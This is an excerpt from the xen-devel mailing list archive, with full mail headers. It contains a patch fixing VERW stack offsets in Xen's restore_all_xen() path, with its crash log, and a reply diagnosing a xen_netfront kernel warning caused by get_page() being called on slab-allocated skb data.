Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1784112537; x=1784717337; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=b4GLNl1BI8/ACpqoyTSEggGlWWMo50rNk6LQnm3rlzg=;
        b=b8yOywnhf19zmHDwQqN6v4l6FykmmvskqO0rLVeWJCJ2pefioQZH6ZwUew/lUPu3QT
         XSibzJW9yZat+plia66QnL6rzH1y1K2EigNTm8Miwyjkz27uwn9eTdFLB4x7eWIbWoJJ
         DbXkjzzlCzBfb8ASudzRrF4ePnIaRLzob2htc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784112537; x=1784717337;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=b4GLNl1BI8/ACpqoyTSEggGlWWMo50rNk6LQnm3rlzg=;
        b=KKQylpS6a7TK/ajj0/c9uw8O6t/MbLRnPeJwWjCooDkcG9KFADvbGPcq+zQnHjc+ao
         /QolrEDXV7Q0K+KsFW7BwEVxiLGEnEx+ZEv23xtVnKDk7hpF6XC9U8+r176O4pFG0pli
         1FFrkKijDj1Tv3DCX+EGf1m39yO0BqgwIftBV0aXr8iT3MF51eUAi7nhG5w96Z1OMdAz
         +lxkBAdFSVhHxPzOt9vknDeSySUPu9votGJufAZQxXBd8M9feU3UmDWH6kuw59LsYqNW
         zQ0P2ORSGaGc4x4A66NUwRnwl/9c0L9bdCTmQPMNrE+4FB310VMRstfPlrSFgSBXSQ3K
         wUHw==
X-Gm-Message-State: AOJu0Yzr7AyJ0MYcVARaHUllwQ5UW0AVCVP785gkGYaZuFquoELX9DUV
	xlBso5GYE8TQdrfSbU55QbW2TZLluPzORwBM5GC8zbH87lBHU+dq1F8eonXYlNQZU5ms+TaxI2q
	gtD9SFKw=
X-Gm-Gg: AfdE7cnlZm7f/Z9437nNvrjVDBhiDSTF3Ee2ZhfkDI8+jlWVrRX0G2w20RXp8Xj9J6H
	DUVcVNj/cqcg8mbPCi8MdI7NhzBURzswQxAy6R3Y8CLqTW+0N439BKTH7xP+Fxbf6tJi1lQW5hK
	bjv6mvl4VqKgyhQUWj+OAulDU9UD3cYSNSfTe0ukbhCUY9OpdTiiAkNh6aX6TZTHK7RPuRpyDZS
	gJsMMugsNH5AwMaR0lgc1AxRf5Bu3osYU8//VnbsR0wu32g63u+BI/YFXHtTtmNKjDjGopfCMay
	+GngB3MN/yTIGyzUivCtmavmTz8JnO1jvOGXpA812agSfeyxKvcRY6VyAOWuQHuHiAiCfzyB9ir
	Kla6KG8NXGmXXtvQqpS18WUfVwVDbRvEGQCYLdqrmmo1zqGArtwHScOnw+9OytZCsl/62Hj8qz2
	M06QTcqTAetCZnTqa8SIjDwiv5RnlTM1B//kwbCatCfkrBtXioDYqOJdyONwRbxOk=
X-Received: by 2002:a05:600c:34d0:b0:493:ee2b:c876 with SMTP id 5b1f17b1804b1-494eb1b6de3mr87737065e9.35.1784112536685;
        Wed, 15 Jul 2026 03:48:56 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Ross Lagerwall <ross.lagerwall@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH] x86/entry: Fix VERW offsets in restore_all_xen()
Date: Wed, 15 Jul 2026 11:48:54 +0100
Message-Id: <20260715104854.1813130-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784112537-F4E0677B-C64EB363/0/0
X-purgate-type: clean
X-purgate-size: 3872

As explained in the comment partially in context, and contrary to what was
said in commit 8af337dfb8e2 ("x86/entry: Use POP_GPRS and remove
RESTORE_ALL"), the restore_all_xen() path cannot use default offsets for
SPEC_CTRL_COND_VERW.

Getting this wrong is surprisingly benign.  VERW doesn't fault for any limit
or descriptor reasons.

However, in SVM vCPU context LDTR is the guest's not Xen's.  When the segment
selector VERW uses happens to be an LDT selector, the CPU accesses the guest
LDTR in Xen context:

  (XEN) ----[ Xen-4.23.0  x86_64  debug=y  Not tainted ]----
  (XEN) CPU:    14
  (XEN) RIP:    e008:[<ffff82d0402007f2>] x86_64/entry.S#restore_all_xen+0x72/0x80
  (XEN) RFLAGS: 0000000000010002   CONTEXT: hypervisor (d3v1)
  ...
  (XEN) Xen code around <ffff82d0402007f2> (x86_64/entry.S#restore_all_xen+0x72/0x80):
  (XEN)  5f f6 44 24 7c 08 74 05 <0f> 00 6c 24 44 48 83 c4 08 48 cf 0f 1f 00 fc 0f
  ...
  (XEN) Xen call trace:
  (XEN)    [<ffff82d0402007f2>] R x86_64/entry.S#restore_all_xen+0x72/0x80
  (XEN)    [<ffff82d0402e79f6>] F nestedhap_fix_p2m+0x5f/0xc9
  (XEN)    [<ffff82d0402e7c8f>] F nestedhvm_hap_nested_page_fault+0x11e/0x22e
  (XEN)    [<ffff82d0402cd59d>] F hvm_hap_nested_page_fault+0x1b8/0x5d2
  (XEN)    [<ffff82d0402ad7de>] F svm_vmexit_handler+0xbe9/0x18b3
  (XEN)    [<ffff82d040202542>] F svm_asm_do_resume+0x162/0x172
  (XEN)
  (XEN) Pagetable walk from 000000000000fff8:
  (XEN)  L4[0x000] = 0000000000000000 ffffffffffffffff
  (XEN)
  (XEN) ****************************************
  (XEN) Panic on CPU 14:
  (XEN) FATAL PAGE FAULT
  (XEN) [error_code=0000]
  (XEN) Faulting linear address: 000000000000fff8
  (XEN) ****************************************

In this case, the guest's LDT obviously has a base of 0 and limit of 0xffff
for the segmentation checks to pass and a memory access to be attempted.

Fixes: 8af337dfb8e2 ("x86/entry: Use POP_GPRS and remove RESTORE_ALL")
Reported-by: Ross Lagerwall <ross.lagerwall@citrix.com>
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Teddy Astie <teddy.astie@vates.tech>
CC: Ross Lagerwall <ross.lagerwall@citrix.com>
---
 xen/arch/x86/x86_64/asm-offsets.c | 1 +
 xen/arch/x86/x86_64/entry.S       | 4 +++-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/xen/arch/x86/x86_64/asm-offsets.c b/xen/arch/x86/x86_64/asm-offsets.c
index 9d4536402661..baf266ab8013 100644
--- a/xen/arch/x86/x86_64/asm-offsets.c
+++ b/xen/arch/x86/x86_64/asm-offsets.c
@@ -64,6 +64,7 @@ void __dummy__(void)
     DEFINE(sym, offsetof(struct cpu_user_regs, mem) -                   \
                 offsetof(struct cpu_user_regs, error_code) __VA_ARGS__)
 
+    OFFSET_EF(EFRAME_error_code,      error_code);
     OFFSET_EF(EFRAME_entry_vector,    entry_vector);
     OFFSET_EF(EFRAME_rip,             rip);
     OFFSET_EF(EFRAME_cs,              cs);
diff --git a/xen/arch/x86/x86_64/entry.S b/xen/arch/x86/x86_64/entry.S
index 22729b1f43b8..59953c9f525a 100644
--- a/xen/arch/x86/x86_64/entry.S
+++ b/xen/arch/x86/x86_64/entry.S
@@ -765,7 +765,9 @@ UNLIKELY_END(exit_cr3)
          * scf and ver_sel above eflags, as we can't use any GPRs,
          * and we're at a random place on the stack, not in a CPUFINFO block.
          */
-        SPEC_CTRL_COND_VERW     /* Req: %rsp=eframe                    Clob: efl */
+        SPEC_CTRL_COND_VERW     /* Req: %rsp=eframe                    Clob: efl */ \
+            scf=STK_REL(EFRAME_shadow_scf, EFRAME_error_code),                      \
+            sel=STK_REL(EFRAME_shadow_sel, EFRAME_error_code)
 
         add     $8, %rsp        /* Pop ev/ec off the stack */
         iretq

base-commit: 1cc1f4d7a0471f3bf9126ee7b1956db66ee28b58
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 11:02:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 11:02:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362945.1614790 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjxO7-0000fR-6L; Wed, 15 Jul 2026 11:02:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362945.1614790; Wed, 15 Jul 2026 11:02:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjxO7-0000fK-1E; Wed, 15 Jul 2026 11:02:51 +0000
Received: by outflank-mailman (input) for mailman id 1362945;
 Wed, 15 Jul 2026 11:02:22 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <pfalcato@suse.de>) id 1wjxNd-0000Ze-RH
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 11:02:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjxNd-00B4XV-0P
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 13:02:21 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <pfalcato@suse.de>)
 id 6a5768ba-bab6-0a2a0a5309dd-0a2a4509b676-22
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 13:02:20 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <pfalcato@suse.de>)
 id 6a5768bc-be1a-0a2a45090019-c387df82dbe4-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 13:02:20 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id A58157836D;
 Wed, 15 Jul 2026 11:02:06 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 0925A779AD;
 Wed, 15 Jul 2026 11:02:05 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id O9RQOq1oV2oufAAAD6G6ig
 (envelope-from <pfalcato@suse.de>); Wed, 15 Jul 2026 11:02:05 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1784113336; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=awWRLmdYvk3T0kyC5GXSDxyc9sU+56IS2/k4lm4UTqU=;
	b=LOZE2WkQU8SqoT0Od6xtHGztXuLBTKeq0vwL2KC7tW/V8sN3dCsWU3CXgg1DHTwQO20lvP
	FaLL2sIIs9T9O/qtX2psKMPydmD59VbJNDZZBf5C8sVr6YH3P7USJSUWIFWOSOvPsmWL18
	RzM7BjBNYriIfaKB6d5WmuGAVDDPxHw=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1784113336;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=awWRLmdYvk3T0kyC5GXSDxyc9sU+56IS2/k4lm4UTqU=;
	b=k5q9WukS1rf+5uOqq7/uYAiIKCXIwczoydsPteGRpPPTBPq7OcFdth7xShqKi3Askoczon
	ftTpRD3BH8gR50Ag==
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.de header.s=susede2_rsa header.b=YmFcTJzn;
	dkim=pass header.d=suse.de header.s=susede2_ed25519 header.b=WeE0jk4o
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1784113331; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=awWRLmdYvk3T0kyC5GXSDxyc9sU+56IS2/k4lm4UTqU=;
	b=YmFcTJzn17KM6igiXi4SvOZ0A1DFg9t3GkYeYdvFELLE2wykcF3U2OhsS9G70qz9qbK7fF
	JQOemyqZyRZ7Z+5GuEYT575tpimBb6iySrn8TiXtF8/Rvf7GhO0BhvdKB0hrIDUs7akI5y
	aiKy9Pkh9Yt2lWOPDDK6tZ1Uk3PZGaE=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1784113331;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=awWRLmdYvk3T0kyC5GXSDxyc9sU+56IS2/k4lm4UTqU=;
	b=WeE0jk4oqGf9L8A9LdtqB80/xlVuHiS+eAKy/fVum4WmeIOdBENw0Y8Gr7zGRetjvFN9M5
	X5wuhno4DiExQoCQ==
Date: Wed, 15 Jul 2026 12:02:04 +0100
From: Pedro Falcato <pfalcato@suse.de>
To: Aaron Rainbolt <arraybolt3@gmail.com>
Cc: xen-devel@lists.xenproject.org, jgross@suse.com, 
	linux-kernel@vger.kernel.org, linux-mm@kvack.org, marmarek@invisiblethingslab.com, 
	adrelanos@whonix.org, Matthew Wilcox <willy@infradead.org>, 
	Vlastimil Babka <vbabka@kernel.org>
Subject: Re: Intermittent kernel WARN in mm.h get_page() when forcefully
 removing a xen_netfront interface from xenstore
Message-ID: <aldj4Jwd5T9q1-sK@pedro-suse.lan>
References: <20260714234912.7a75536b@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260714234912.7a75536b@gmail.com>
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: A58157836D
X-Spam-Flag: NO
X-Spam-Score: -4.51
X-Spam-Level: 
X-Spamd-Result: default: False [-4.51 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_DKIM_ALLOW(-0.20)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	ARC_NA(0.00)[];
	FREEMAIL_TO(0.00)[gmail.com];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	DKIM_TRACE(0.00)[suse.de:+];
	TO_DN_SOME(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	RCVD_TLS_ALL(0.00)[];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCPT_COUNT_SEVEN(0.00)[9];
	MISSING_XM_UA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:rdns,imap1.dmz-prg2.suse.org:helo,suse.de:dkim]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-purgate-ID: tlsNG-bad1c0/1784113340-FD668034-3697C8C5/0/0
X-purgate-type: clean
X-purgate-size: 6746

+Cc Willy, Vlastimil

On Tue, Jul 14, 2026 at 11:49:12PM -0400, Aaron Rainbolt wrote:
> A user in the Qubes OS issue tracker reported that they could cause
> kernel WARNs in some of their AppVMs when forcibly terminating a NetVM
> that those AppVMs were connected to. [1] Typically, a message such as
> `vif vif-0: xenbus: device forcefully removed from xenstore` appears,
> then a "WARNING" appears immediately thereafter indicating an issue in
> `xennet_disconnect_backend`, with the line of code throwing the warning
> being somewhere in `include/linux/mm.h`. Originally it was thought that
> the warning was simply normal behavior when a device is forcefully
> removed, but it seemed very weird that memory management code would be
> in charge of triggering that warning. Furthermore, I cannot reproduce
> the issue reliably; for some users, it happens immediately after
> shutting down the NetVM, whereas for me, I had to use multiple tricks
> including pausing and unpausing a VM to trigger it. After some
> fiddling, I was able to reproduce the issue using the latest stable
> 7.1.3 kernel:
> 
> 1. On a Whonix-Workstation 18 AppVM (such as anon-whonix), build kernel
>    7.1.3 using the steps from
>    https://kernel-team.pages.debian.net/kernel-handbook/ch-common-tasks.html#s-common-size,
>    ensuring that debug info is enabled. Use Debian's kernel config from
>    the linux-base-7.1.3+deb14-amd64_7.1.3-1_amd64.deb package as the
>    starting kernel config.
> 2. Install the new kernel into a cloned Whonix-Workstation 18 template.
> 3. Install pvgrub in dom0: `sudo qubes-dom0-update --action=install
>    grub2-xen-pvh`
> 4. Create a new AppVM named `anon-whonix-kerntest` based on this
>    template.
> 5. Set the kernel for `anon-whonix-kerntest` to `pvgrub2-pvh`.
> 6. Start `anon-whonix-kerntest`.
> 7. Run `uname -r` in `anon-whonix-kerntest`, ensure that the kernel
>    version displayed is 7.1.3.
> 8. Open a root QTerminal window in `anon-whonix-kerntest` by running
>    the following in dom0: `qvm-run -u root anon-whonix-kerntest
>    qterminal`.
> 9. In the root QTerminal window, run `sysctl kernel.warn_limit=5` to
>    prevent an immediate kernel panic when the kernel warn occurs.
> 10. Open Tor Browser in `anon-whonix-kerntest`, and attempt to navigate
>     to a fairly resource-intensive web page like Reddit's front page.
> 11. While the page is still loading, run `qvm-pause
>     anon-whonix-kerntest` in dom0 to freeze the AppVM.
> 12. In dom0, run `qvm-kill sys-whonix`.
> 13. Wait a few seconds, then run `qvm-unpause anon-whonix-kerntest` to
>     unfreeze the AppVM.
> 14. In the root QTerminal window of `anon-whonix-kerntest`, run `dmesg
>     -w` to watch for kernel messages.
> 15. Wait a few seconds, then start `sys-whonix`. Qubes OS will reattach
>     the network when this is done (there is the equivalent of `xl
>     network-attach` done by the Qubes code automatically). The following
>     messages should appear in dmesg:
> 
>     [  426.609004] vif vif-0: xenbus: device forcefully removed from xenstore
>     [  426.609242] ------------[ cut here ]------------
>     [  426.609254] WARNING: ./include/linux/mm.h:2097 at xennet_disconnect_backend+0x1c7/0x520 [xen_netfront], CPU#0: xenwatch/64
>     [  426.609269] Modules linked in: snd_seq_dummy(E) snd_hrtimer(E) snd_seq(E) snd_seq_device(E) snd_timer(E) snd(E) soundcore(E) cfg80211(E) nls_ascii(E) nls_cp437(E) vfat(E) fat(E) rfkill(E) xenfs(E) nft_reject_inet(E) nf_reject_ipv4(E) nf_reject_ipv6(E) nft_reject(E) nft_ct(E) nf_conntrack(E) nf_defrag_ipv6(E) nf_defrag_ipv4(E) nf_tables(E) binfmt_misc(E) intel_rapl_msr(E) intel_rapl_common(E) intel_uncore_frequency_common(E) intel_pmc_ssram_telemetry(E) intel_vsec(E) aesni_intel(E) gf128mul(E) xen_netfront(E) xen_privcmd(E) xen_gntdev(E) xen_gntalloc(E) xen_blkback(E) drm(E) xen_evtchn(E) jitterentropy_rng(E) libsha3(E) loop(E) configfs(E) efi_pstore(E) nfnetlink(E) ip_tables(E) x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(E) dm_snapshot(E) dm_bufio(E) dm_mod(E) xen_blkfront(E)    
>     [  426.609334] CPU: 0 UID: 0 PID: 64 Comm: xenwatch Tainted: G            E       7.1.3 #5 PREEMPT(lazy)
>     [  426.609340] Tainted: [E]=UNSIGNED_MODULE
>     [  426.609343] RIP: 0010:xennet_disconnect_backend+0x1c7/0x520 [xen_netfront]
>     [  426.609349] Code: 94 dd a0 10 00 00 48 8b 4a 08 48 89 ce 83 e6 01 48 83 ee 01 48 09 f1 48 21 ca 0f b6 4a 33 81 f9 f5 00 00 00 0f 85 ea fe ff ff <0f> 0b 49 81 ff 00 01 00 00 0f 82 f8 fe ff ff 4c 89 fe 48 c7 c7 e0    
>     [  426.609352] RSP: 0018:ffffce3d810c3c98 EFLAGS: 00010246
>     [  426.609356] RAX: 0000000000000010 RBX: 0000000000000000 RCX: 00000000000000f5
>     [  426.609358] RDX: fffffb0d80ca9800 RSI: 0000000000000000 RDI: ffffffff88c8a8a0
>     [  426.609360] RBP: ffff8dec51df0000 R08: ffff8debf4dd5a80 R09: ffff8debf4dd5a80
>     [  426.609362] R10: 0000000000000020 R11: 00000000000000bf R12: 0000000000000000
>     [  426.609364] R13: ffff8dec8ef30b80 R14: ffff8dec197fcac0 R15: 0000000000000000
>     [  426.609366] FS:  0000000000000000(0000) GS:ffff8ded2d129000(0000) knlGS:0000000000000000
>     [  426.609369] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
>     [  426.609370] CR2: 00005faa1a7d3737 CR3: 00000000b420a003 CR4: 0000000000770ef0
>     [  426.609377] PKRU: 55555554
>     [  426.609379] Call Trace:

This is due (or looks like it...) to
static netdev_tx_t xennet_start_xmit(struct sk_buff *skb, struct net_device *dev)
[...]
page = virt_to_page(skb->data); /* skb->data is a slab kmallocation */
/* ... */
	info.page = page;
	first_tx = xennet_make_first_txreq(&info, offset, len);
/* ... */
queue->grant_tx_page[i] = page;

and then later

static void xennet_disconnect_backend(struct netfront_info *info)
/* ... */
xennet_release_tx_bufs
get_page(queue->grant_tx_page[i]);
gnttab_end_foreign_access(queue->grant_tx_ref[i],
			  queue->grant_tx_page[i]);

which may trigger get_page() on a slab page:
static inline void get_page(struct page *page)
{
	struct folio *folio = page_folio(page);
	if (WARN_ON_ONCE(folio_test_slab(folio)))
		return;
	if (WARN_ON_ONCE(folio_test_large_kmalloc(folio)))
		return;
	folio_get(folio);
}

and there's your WARN. The code as-is is wrong. get_page() does not stabilize
slab allocations, and the skb is freed right after, which may very well free
the data. This _can_ make sense for other page frags, but I would simply defer
freeing the skb until either the full skb is xmitted, or you successfully
cancel the whole transfer (what I understand is the "foreign access" in this
code). The skb itself should pin the pages.

-- 
Pedro


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 11:16:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 11:16:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362958.1614798 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjxbU-0002Tz-At; Wed, 15 Jul 2026 11:16:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362958.1614798; Wed, 15 Jul 2026 11:16:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjxbU-0002Ts-81; Wed, 15 Jul 2026 11:16:40 +0000
Received: by outflank-mailman (input) for mailman id 1362958;
 Wed, 15 Jul 2026 11:16:39 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wjxbT-0002Tk-1f
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 11:16:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjxbS-00Eacf-7a
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 13:16:38 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a576c0b-e002-0a2a0a5209dd-0a2a4504e162-18
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 13:16:38 +0200
Received: from [209.85.208.47] (helo=mail-ed1-f47.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a576c15-b57f-0a2a45040019-d155d02fb886-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 13:16:38 +0200
Received: by mail-ed1-f47.google.com with SMTP id
 4fb4d7f45d1cf-698ae09e356so7531259a12.2
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 04:16:38 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c16871711b9sm8345666b.18.2026.07.15.04.16.36
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 15 Jul 2026 04:16:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784114197; x=1784718997; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=wE4oaZ2FZnhnXtcUIMMYG3E08s6pqg5r9FH8iZCG6c4=;
        b=JIYp3ouHI1znUaOc307N6b0Lb1KP0ym4A6QDznra5B5eFx5XRhc5vPjL8+4qmsqfBG
         rvHfSqGWO6Aik+ZFuBmx/nJfnAQ/6K2HfZSViozdkePlsBkxTkb/4coZahxOStMB4c1O
         wayCcZWJG3LB7nmHrTFvaTQ7AxilrxPAxkyfG5Wm4SasQSc42KqNq4K5iZJ1G7vGXYVf
         QXJlZfa5rel972LVIanPTNrLzD4H/dPtfZAM2mCjZXk1TXo1Yf09ZK3XVpFBaTveS3JP
         UhreXTfzSeTVt9nfc7vSIM75ufqg3FL0UShzLpWgL9SjC3K8L4Bef1sVg9MKUeWdj4lB
         jKfQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784114197; x=1784718997;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
